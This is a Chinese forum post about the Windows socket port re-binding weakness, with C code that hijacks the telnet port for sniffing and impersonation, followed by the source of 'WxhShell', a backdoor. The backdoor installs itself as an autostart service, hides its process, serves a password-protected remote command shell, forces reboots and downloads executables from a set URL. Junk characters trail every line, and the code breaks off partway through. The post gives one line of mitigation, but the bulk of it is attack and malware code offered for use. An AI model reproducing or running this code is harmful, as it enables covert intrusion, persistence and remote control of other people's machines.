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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l{mC|8X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XM57 UG  
x~u"KU2B  
  saddr.sin_family = AF_INET; IBz)3gj J  
z(n Ba]^[F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e|d~&Bk0  
E<[ Y KY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fZavZ\qU  
P47x-;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 eXAJ%^iD  
_$P1N^}Zs  
  这意味着什么?意味着可以进行如下的攻击: 0^83:C ^{  
NHQi_U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rK[;wD<  
A4daIhP (  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Dnp><%  
)dfwYS*[n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e0ULr!p  
Z</57w#-7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wE3fKG.  
LDY3Ya`6m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hjq@ .5  
*t300`x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (>SucUU  
;~GBD]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QTospHf`  
!LJ4 S  
  #include 4x-K0  
  #include yVe<+Z\7  
  #include dK41NLGQ  
  #include    bJcO,M:2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "i,ZG$S#E  
  int main() ZkryoIQ%=  
  { n.=Zw2FE  
  WORD wVersionRequested; ]oLyvG  
  DWORD ret;  a"D'QqtH  
  WSADATA wsaData; 2j&0U!DX  
  BOOL val; M.67[Qj~"u  
  SOCKADDR_IN saddr; wpg7xx!  
  SOCKADDR_IN scaddr; Ot{~mMDp  
  int err; 5><T#0W?  
  SOCKET s; <DN7  
  SOCKET sc; _9y! ,ST  
  int caddsize; 8GeJ%^0o}  
  HANDLE mt; FEdFGT  
  DWORD tid;   @rS(3wu_&  
  wVersionRequested = MAKEWORD( 2, 2 ); 9v/=o`J#  
  err = WSAStartup( wVersionRequested, &wsaData ); )|6OPR@(#/  
  if ( err != 0 ) { #$;}-*  
  printf("error!WSAStartup failed!\n"); ^/I.? :+  
  return -1; gh `]OxA  
  } \ #N))gAQ  
  saddr.sin_family = AF_INET; V8rS~'{\  
   "(mF5BE-E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p,BoiYdi  
"?^#+@LV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M<r]a{Yv  
  saddr.sin_port = htons(23); 4BZ7R,m#.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [r1dgwh8  
  { +~"(Wooi  
  printf("error!socket failed!\n"); Nw '$r  
  return -1; Q^8/"aV\  
  } mFmxEv  
  val = TRUE; tL M@o|:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZgfhNI\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B'I_i$g4w  
  { mD%IHzbn H  
  printf("error!setsockopt failed!\n"); [Z^26/5a  
  return -1; sB5@6[VDI  
  } gs&F .n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nrR2U`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &crR nv ?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K >Q 6  
OAaLCpRp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qERJEyU?  
  { &W3Hj$>  
  ret=GetLastError(); <cxe   
  printf("error!bind failed!\n"); <cO `jK  
  return -1; cRE6/qrXGg  
  } M)~sL1)  
  listen(s,2); -O\f y!  
  while(1) BO2s(8  
  { R$`%<Y3)  
  caddsize = sizeof(scaddr); rX0 ?m:&m  
  //接受连接请求 R'pfA B|!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M+I9k;N6&  
  if(sc!=INVALID_SOCKET) ~~@dbB  
  { _WZ{i,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sR^b_/ElxT  
  if(mt==NULL) y>cLG5v  
  { #jsN  
  printf("Thread Creat Failed!\n"); 'e_e*.z3  
  break; 4X!4S6JfB  
  } gvr&7=p  
  } !>f:wk2  
  CloseHandle(mt); ~14|y|\/  
  } <"8F=3:uk  
  closesocket(s); B|.A6:1g+  
  WSACleanup(); 1je/l9L  
  return 0; qHvU4v  
  }   i-?mghe8  
  DWORD WINAPI ClientThread(LPVOID lpParam) Et y?/  
  { eVd:C8q  
  SOCKET ss = (SOCKET)lpParam; G#ELQ/Q  
  SOCKET sc; P)Rq\1:  
  unsigned char buf[4096]; HL-'\wtl  
  SOCKADDR_IN saddr; Q5A,9ovNZ  
  long num; G'`^U}9V\  
  DWORD val; [930=rF*  
  DWORD ret; wYLodMaYH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9z`72(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {y B0JL}n  
  saddr.sin_family = AF_INET; ?vFtv}@\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eaDR-g"  
  saddr.sin_port = htons(23); mDk6@Gd@U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U "r)C;5  
  { Bw~jqDZ}|  
  printf("error!socket failed!\n"); %`~+^{Wp  
  return -1; x4h.WDT$  
  } fhyoSRLR:  
  val = 100; FzykC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QNXoAx%I  
  { _.E{>IFw  
  ret = GetLastError(); AxeQv'e  
  return -1; 6"NtVfui  
  } X(BX+)YR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eeBW~_W  
  { gW<4E=fl  
  ret = GetLastError(); RF;[:[*W  
  return -1; WX]O1Y  
  } EdTL]Xk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) olr-oi`4C  
  { Yf/e(nV  
  printf("error!socket connect failed!\n"); +43~4_Oj  
  closesocket(sc); ^ cE{Uv  
  closesocket(ss); E;9J7Q 4  
  return -1; C/QrkTi=  
  } MPKrr  
  while(1) )a5ON8?  
  { irvd>^&jDC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @eDs)mY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KYwUkuw)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 io(!z-$  
  num = recv(ss,buf,4096,0); vz|(KN[  
  if(num>0) ]O{i?tyX  
  send(sc,buf,num,0); C]fX=~?bGQ  
  else if(num==0) _q}Cnp5  
  break; 5;G0$M0  
  num = recv(sc,buf,4096,0); }/#*opcv  
  if(num>0) &['L7  
  send(ss,buf,num,0); Bp@\p)P(  
  else if(num==0) j9yOkaVEg  
  break; |i~-,:/-Y  
  } LwTdmR  
  closesocket(ss); 8TG|frS  
  closesocket(sc); hS*&p0YV~M  
  return 0 ; ]Yf^O @<<>  
  } cM CM>*X  
*&\6x}.I4  
cr|]\  
========================================================== CU*TY1%  
,0ilNi>  
下边附上一个代码,,WXhSHELL &5.J y2hO]  
3,`M\#z%K  
========================================================== KhP_U{)D  
U&{w:P  
#include "stdafx.h" h_\( $"  
CBNt _y  
#include <stdio.h> mIp> ~  
#include <string.h> ~:PM_o*6  
#include <windows.h> oO`a{n-  
#include <winsock2.h> A:D9qp  
#include <winsvc.h> ^FQn\,  
#include <urlmon.h> 3aBE[  
@'5*jXd  
#pragma comment (lib, "Ws2_32.lib") w<zzS: PF*  
#pragma comment (lib, "urlmon.lib") B2*7H  
Ke3~o"IQ  
#define MAX_USER   100 // 最大客户端连接数 WPrBK{B`o  
#define BUF_SOCK   200 // sock buffer o3eaNYa  
#define KEY_BUFF   255 // 输入 buffer )MLbE-@  
ZHUW1:qs  
#define REBOOT     0   // 重启 /R?[/`)f&  
#define SHUTDOWN   1   // 关机 nP<u.{q L  
<L11s%5-  
#define DEF_PORT   5000 // 监听端口 /hmDeP o}  
}Y|M+0   
#define REG_LEN     16   // 注册表键长度 sa _J6~  
#define SVC_LEN     80   // NT服务名长度 PkZ1Db  
AAW] Y#UwW  
// 从dll定义API lrwQ >N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W}"tf L8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Nd_A8H,&B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e M5-v-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n%G[Y^^,  
_Pa@%/  
// wxhshell配置信息 \jV2":[% c  
struct WSCFG { k.2GIc:5  
  int ws_port;         // 监听端口 9;uH}j8sE  
  char ws_passstr[REG_LEN]; // 口令 u 8<[Q]5  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8~yP?#p  
  char ws_regname[REG_LEN]; // 注册表键名 &<_q00F  
  char ws_svcname[REG_LEN]; // 服务名 :Ny[?jt c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?'|GGtvm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0%%y9;o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JiO8 EIM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <;'{Tj-"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dtTfV.y4w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]Hq,Pr_+  
[i.c;'Wy/  
}; K'e,9P{  
R,["w9 8a  
// default Wxhshell configuration e==/+  
struct WSCFG wscfg={DEF_PORT, #Ef!X  
    "xuhuanlingzhe",  qT #=C'?  
    1, ZXkrFA |  
    "Wxhshell",  - US>].  
    "Wxhshell", Y:#B0FD,gC  
            "WxhShell Service", !fd>wvJ,:  
    "Wrsky Windows CmdShell Service", 0VNpd~G$  
    "Please Input Your Password: ", =qoOr~  
  1, zHg=K /  
  "http://www.wrsky.com/wxhshell.exe", 7HY8 F5Brx  
  "Wxhshell.exe" w|6?A-  
    }; #G?#ot2o  
f*88k='\W  
// 消息定义模块 (UhJ Pco"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }EHL }Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BzH0"xq^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _TmKn!Jw  
char *msg_ws_ext="\n\rExit."; E(_k#X  
char *msg_ws_end="\n\rQuit."; Rq e|7/As  
char *msg_ws_boot="\n\rReboot..."; ZZwIB3sNhf  
char *msg_ws_poff="\n\rShutdown..."; zBwqIJfM  
char *msg_ws_down="\n\rSave to "; V@s93kh  
,)!%^ ~v  
char *msg_ws_err="\n\rErr!"; ntB#2S  
char *msg_ws_ok="\n\rOK!"; ;@Z1y  
lj8ficANo  
char ExeFile[MAX_PATH]; W"pHR sf  
int nUser = 0;  W/u(9  
HANDLE handles[MAX_USER]; Nu3IYS5&  
int OsIsNt; T-GvPl9ZJw  
<n2'm  
SERVICE_STATUS       serviceStatus;  b{)kup  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qmGHuQVe  
6I=xjgwvf  
// 函数声明 . XbDb  
int Install(void); fF>hca>  
int Uninstall(void); i92Z`jiR  
int DownloadFile(char *sURL, SOCKET wsh); ]N0B.e~D  
int Boot(int flag); ) ?B-en\  
void HideProc(void); " W{rS4L  
int GetOsVer(void); v$x)$/]n  
int Wxhshell(SOCKET wsl); QmGK! H>3  
void TalkWithClient(void *cs); l Le&q  
int CmdShell(SOCKET sock); l-20X{$m:  
int StartFromService(void); "X._:||8  
int StartWxhshell(LPSTR lpCmdLine); I![/bwObG  
m@*aA}69  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e]ST0J"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \fSruhD  
vN@04a\h  
// 数据结构和表定义 v0(}"0  
SERVICE_TABLE_ENTRY DispatchTable[] = VKu_ l  
{ !>!jLZ0  
{wscfg.ws_svcname, NTServiceMain}, ubsv\[:C  
{NULL, NULL} 7bE`P[  
}; =B'Yx  
$G}k'[4C  
// 自我安装 )+hJi/g  
int Install(void) _8-1wx  
{  5T9[a  
  char svExeFile[MAX_PATH]; q o-|.I  
  HKEY key; 'qo(GGC M  
  strcpy(svExeFile,ExeFile); a #s Nd  
<;>k[P'  
// 如果是win9x系统,修改注册表设为自启动 [; $:Lr  
if(!OsIsNt) { I7SFGO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |HJ`uGN<b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ) k[XO  
  RegCloseKey(key); _Gb 7n5p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,1!Y!,xy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W np[8IEU  
  RegCloseKey(key); !B{(EL=g  
  return 0; 1cMdoQ  
    } k\/es1jOEh  
  } Dp#27Yzc  
} q3-cWfU  
else { }TuMMO4+  
-Gl!W`$I `  
// 如果是NT以上系统,安装为系统服务 p14$XV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \k6OP  
if (schSCManager!=0) 4\ )WMP  
{ MIZ!+[At  
  SC_HANDLE schService = CreateService 2\O!vp>|-  
  ( VC Ay~,  
  schSCManager, dvY3=~'  
  wscfg.ws_svcname, i!JSEQ_8  
  wscfg.ws_svcdisp, '&gUAt  
  SERVICE_ALL_ACCESS, 8Jp?@qt=$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $(OL#>9Ly  
  SERVICE_AUTO_START, G%i&C)jZ  
  SERVICE_ERROR_NORMAL, !^1oH**  
  svExeFile, @^-f +o  
  NULL, (U.VCSn  
  NULL, nHfAx/9!  
  NULL, =M4wP3V/  
  NULL, K&dc< 4DC  
  NULL VzcW9'"#  
  ); /z)8k4  
  if (schService!=0) yd45y}uS;F  
  { U}=H1f,  
  CloseServiceHandle(schService); v] Xy^7?  
  CloseServiceHandle(schSCManager); n4"xVDL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h4ghMBo%  
  strcat(svExeFile,wscfg.ws_svcname); eSMno_Gt3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^;\6ju2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .>y3`,0h  
  RegCloseKey(key); +_f813$C  
  return 0; *_Pkb.3R  
    } jlUT9Zp  
  } 8jLO-^X<<  
  CloseServiceHandle(schSCManager); s>>lf&7  
} ,d=Dicaz  
} RzLeR%O  
Z%r8oj\n  
return 1; -*?{/QmKb  
} :4"b(L  
Lr"`OzDz  
// 自我卸载 I;P!   
int Uninstall(void) {gDoktC@M  
{ ^*~4[?]S  
  HKEY key; ?DNeL;6  
&,]yqG 2  
if(!OsIsNt) { lx82:_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y] $- :^  
  RegDeleteValue(key,wscfg.ws_regname); g J$m'kC;  
  RegCloseKey(key); MSt@yKq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z$)jPDSr  
  RegDeleteValue(key,wscfg.ws_regname); %.{xo.`a[  
  RegCloseKey(key); |l?*' =  
  return 0; gvP.\,U  
  } PC!X<C8*  
} C$v !emu  
} o 7&q  
else { f_QZ ql  
f{]W*!VV-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GMob&0l8_  
if (schSCManager!=0) )f%Q7  
{ l~*d0E-$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y3'dV)  
  if (schService!=0) Vt4,?"  
  { 2-"`%rE  
  if(DeleteService(schService)!=0) { MPsm)jqX  
  CloseServiceHandle(schService); 9v}vCg  
  CloseServiceHandle(schSCManager); fEyc3K'5V  
  return 0; GsE =5A8  
  } $[(FCS  
  CloseServiceHandle(schService); ;, u7)  
  } %Vsg4DRy  
  CloseServiceHandle(schSCManager); ?T[K{t;~jo  
} M;@/697G  
} `{J(S'a`  
>9Y0t^Fl  
return 1; _#o75*42tT  
} *eUxarI  
&+pp;1ls  
// 从指定url下载文件 ? ~_h3bHH  
int DownloadFile(char *sURL, SOCKET wsh) Vvl8P|x.<  
{ 2|8$@*-\  
  HRESULT hr; k jR-p=}  
char seps[]= "/"; hB]<li)"C  
char *token; Ng1[y4R}  
char *file; X.ZY1vO  
char myURL[MAX_PATH]; UTuOean ]'  
char myFILE[MAX_PATH]; 62/tg*)  
)7N$lY<  
strcpy(myURL,sURL); B]cV|S|  
  token=strtok(myURL,seps); ]-u>HO g\  
  while(token!=NULL) <d3N2  
  { (_~Dyvo  
    file=token; 5cC)&}I  
  token=strtok(NULL,seps); %0eVm   
  } ]B-3Lh  
\MmKz^tO  
GetCurrentDirectory(MAX_PATH,myFILE); 3#c0p790  
strcat(myFILE, "\\"); t3aDDu  
strcat(myFILE, file); L>2gx$f  
  send(wsh,myFILE,strlen(myFILE),0); 4:XVu  
send(wsh,"...",3,0); kS(v|d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aaesgF  
  if(hr==S_OK) o}lA\A  
return 0; Ns`:=  
else yvKKE  
return 1; 1|#j/  
KHt#mQy)9  
} 1VO>Bh.Wm  
!X/O1PM|  
// 系统电源模块 m9 f[nT  
int Boot(int flag) VaylbYUCT/  
{ }kb6;4>c  
  HANDLE hToken; A ]~%<=b  
  TOKEN_PRIVILEGES tkp; [c#?@S_  
5!^?H"#c  
  if(OsIsNt) { (W $>!1~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TInp6w+u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  Wwo`R5  
    tkp.PrivilegeCount = 1; uF\f>E)/N%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l#%G~c8x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *Y9'tHI  
if(flag==REBOOT) { )u_[cEJHO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]AdL   
  return 0; 5B+I\f&  
} 83YQ c  
else { U~[ tp1Z)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wE09%  
  return 0; zRF +D+  
} V']1j  
  } u-#J!Z<T8  
  else { &+F}$8,  
if(flag==REBOOT) { HpTX6}^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FPXB>D'  
  return 0; yM*< BV  
} $iAd)2LT  
else { _^u^@.Q'i<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I r;Z+}4>Y  
  return 0; 7W\aX*]  
} +h? z7ZY^  
} _f~m&="T!  
Cr$8\{2OA7  
return 1; c9N5c  
} V(6ovJpA0  
!mRDzr7  
// win9x进程隐藏模块 3k?|-js  
void HideProc(void) S.A|(?x  
{ ! V;glx[  
>>HC|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cu$i8$?t   
  if ( hKernel != NULL ) $79-)4;z4  
  { t:.ZvA3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z }Z]["q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AwO'%+Bv  
    FreeLibrary(hKernel); 92S,W?(  
  } -axV;+"b  
?513A>U  
return; Y]Y]"y$1  
} rpO>l  
nfzKUJY  
// 获取操作系统版本 DANndXQLH  
int GetOsVer(void) DFFB:<  
{ {oc7Chv=/H  
  OSVERSIONINFO winfo; 23=SXA!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZpQ8KY$ 5  
  GetVersionEx(&winfo); ?e+$?8l[3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n"c3C)  
  return 1; &26H   
  else I &I q  
  return 0; [xsiSt?6  
} iKN800^u  
ck4g=QpD{  
// 客户端句柄模块 tM;S )S(=  
int Wxhshell(SOCKET wsl) P_3U4J  
{ vAp?Zl?g  
  SOCKET wsh; uA2-&smw  
  struct sockaddr_in client; ^L;k  
  DWORD myID; Q.Ljz Z  
`T;Y%"X!  
  while(nUser<MAX_USER) n32.W?9  
{ esVZ2_eL  
  int nSize=sizeof(client); 3teanU`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !u=,bfyH  
  if(wsh==INVALID_SOCKET) return 1; @s@67\  
GcYT<pwN6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ngHPOI16  
if(handles[nUser]==0) 6$^dOJ_"  
  closesocket(wsh); H0.,h;  
else }8cX0mZ1j  
  nUser++; PC}m.tE  
  } SQd`xbIuL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iNAaTU  
HfgK0wIi  
  return 0; Bpw<{U  
} ,"W.A  
X}gnO83  
// 关闭 socket 4C{3>BE  
void CloseIt(SOCKET wsh) edy6WzxBcm  
{ oPA [vY  
closesocket(wsh); [5Dg%?x  
nUser--; #UpxF?A(  
ExitThread(0); kGX;x}q  
} ]\t+zF>&Y  
{Q la4U  
// 客户端请求句柄 #Qp.O@e  
void TalkWithClient(void *cs) P7iU_CgyW  
{ gwepaW  
eZWR)+aq  
  SOCKET wsh=(SOCKET)cs; Ma`Goi\vFk  
  char pwd[SVC_LEN]; ?hQ,'M2  
  char cmd[KEY_BUFF]; rX<gcntv  
char chr[1]; .5~W3v <  
int i,j; Z/ypWoV(  
_("&jfn  
  while (nUser < MAX_USER) { ?w[M{   
YQ+Kl[ec  
if(wscfg.ws_passstr) { `b{.K,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lx"a#rZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $ (gR^L  
  //ZeroMemory(pwd,KEY_BUFF); @GiR~bKZ  
      i=0; D< 4!7*9%  
  while(i<SVC_LEN) { nBVknyMFNF  
!7K-Kqn  
  // 设置超时 xf.2Ig  
  fd_set FdRead; >xt*(j&}  
  struct timeval TimeOut; MXxE)"G*a  
  FD_ZERO(&FdRead); r2*'5jk_  
  FD_SET(wsh,&FdRead); Pyx$$cj  
  TimeOut.tv_sec=8; |e@Bi#M[  
  TimeOut.tv_usec=0; 6v9{ $:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $Di2B A4Di  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *ppb 4R;CW  
j;k(AM<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \O7?!i  
  pwd=chr[0]; Tcglt>tj"  
  if(chr[0]==0xd || chr[0]==0xa) { drQioH-  
  pwd=0; d[9NNm*htC  
  break; ,A>i)brc  
  } /e5Fx  
  i++; \JLiA>@@  
    } JqdNO:8  
n>dM OQb  
  // 如果是非法用户,关闭 socket "p\XaClpz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N3};M~\  
} Lz VvUVk  
RhJL`>W`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2,>q(M6,EA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qKL_1 ~  
!!c.cv'  
while(1) { Ik#>6  
KcB  ?[  
  ZeroMemory(cmd,KEY_BUFF); T'*.LpNP,  
o^Y'e+T"  
      // 自动支持客户端 telnet标准   w^*jhvV%kW  
  j=0; '7F`qL\/#(  
  while(j<KEY_BUFF) { H\kqmPl&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^/Hj^4~_U  
  cmd[j]=chr[0]; wBcDL/(>  
  if(chr[0]==0xa || chr[0]==0xd) { y^C; ?B<  
  cmd[j]=0; -BV&u(  
  break; g(:y_EpmLH  
  } B%Yb+M&K  
  j++; a<V=C  
    } S)"5X)mq  
|7zm!^t$  
  // 下载文件 ]sjOn?YA+  
  if(strstr(cmd,"http://")) { 2="C6 7TK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'FBvAk6  
  if(DownloadFile(cmd,wsh)) J<_&f_K0]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %;9e h'  
  else ZUyM:$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zYOPE 6E  
  } {kJ[)7  
  else { XEZ6%Q_  
$Mx.8FC +  
    switch(cmd[0]) { 33\b@F7b  
  pAmTwe  
  // 帮助 RWBmQg^]X  
  case '?': { B`hxF(_p/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LFSOHJj  
    break; su=.4JcK  
  } 9GZF39w u  
  // 安装 "0L@cOyG  
  case 'i': { /]xd[^  
    if(Install()) j.C C.[$g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yb =8\<;  
    else Pr<?E[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :B- ,*@EU  
    break; {uj9fE,)  
    } j )F~C8*  
  // 卸载 %h%r6EB1F  
  case 'r': { 2 ;B[n;Q{  
    if(Uninstall()) rMlbj2T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XB;;OP12  
    else 73xI8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l}AB):<Z  
    break; ^:-%tpB#!  
    } nTu"  
  // 显示 wxhshell 所在路径 oS_p/$F,  
  case 'p': { <R{\pz2w  
    char svExeFile[MAX_PATH]; /gFyow1W  
    strcpy(svExeFile,"\n\r"); 6}ax~wYct  
      strcat(svExeFile,ExeFile); ur#"f'|-  
        send(wsh,svExeFile,strlen(svExeFile),0); 0l_-   
    break; `bC_J,>_  
    } u gfV'  
  // 重启 5o~Z>  
  case 'b': { EoY#D'[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K0I-7/L  
    if(Boot(REBOOT)) )kUq2 -r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?qK:P  
    else { 3!$rp- !<)  
    closesocket(wsh); 5WZLB =  
    ExitThread(0); 103Ik6.o  
    } _X.M,id  
    break; [=E<iPl  
    } .Yu,&HR  
  // 关机 d&'6l"${  
  case 'd': { @pko zE-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &(.ZHF  
    if(Boot(SHUTDOWN)) R a*9d]N@  
